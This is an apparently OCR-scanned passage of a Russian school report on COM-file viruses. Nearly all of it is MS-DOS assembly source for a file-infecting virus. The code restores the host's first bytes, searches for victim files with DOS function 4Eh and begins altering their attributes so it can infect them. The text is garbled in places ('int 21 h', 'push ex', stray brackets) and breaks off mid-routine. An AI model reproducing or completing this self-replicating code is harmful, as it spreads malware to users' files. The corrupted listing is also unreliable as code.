Доклад: СОМ-вирусы
начинаются с адреса 100h)
org 100h
start:
;Имитируем зараженный СОМ-файл.
;Тело вируса начинается с метки la
; jmp la
db OE9h ;Код команды JMP
dw offset la-offset real
real:
[Выходим из программы
mov ah,4Ch
int 21 h
;3десь начинается тело вируса
la:
;Сохраняем регистры и флаги
pushf
pusha
push ds es
.Получаем точку входа.
;Для этого вызываем подпрограмму (следующий
;за вызовом адрес) и читаем из стека адрес возврата
call MySelf
MySelf:
pop bp
восстанавливаем первые три байта исходной программы
mov al,[bp+(offset bytes_3[0]-offset MySelf)]
mov byte ptr cs:[100h],al
mov al,[bp+(offset bytes_3[1]-offset MySelf)]
mov byte ptr cs:[101h],al
mov al,[bp+(offset bytes_3[2]-offset MySelf)]
mov byte ptr cs:[102h],al
[Дальнейшая задача вируса - найти новую жертву.
;Для этого используется функция 4Eh (Найти первый файл).
;Ищем файл с любыми атрибутами
Find_First:
.Ищем первый файл по шаблону имени
mov ah,4Eh
mov dx.offset fname-offset myself
add dx.bp
mov cx,00100111b
int 21 h
;Если файл найден - переходим к смене атрибутов, иначе выходим
;из вируса (здесь нет подходящих для заражения файлов)
jnc attributes
jmp exit
attributes:
.Читаем оригинальные атрибуты файла
mov ax,4300h
mov dx,9Eh .Адрес имени файла
int 21 h
.Сохраняем оригинальные атрибуты файла
push ex
•.Устанавливаем новые атрибуты файла
mov ax,4301h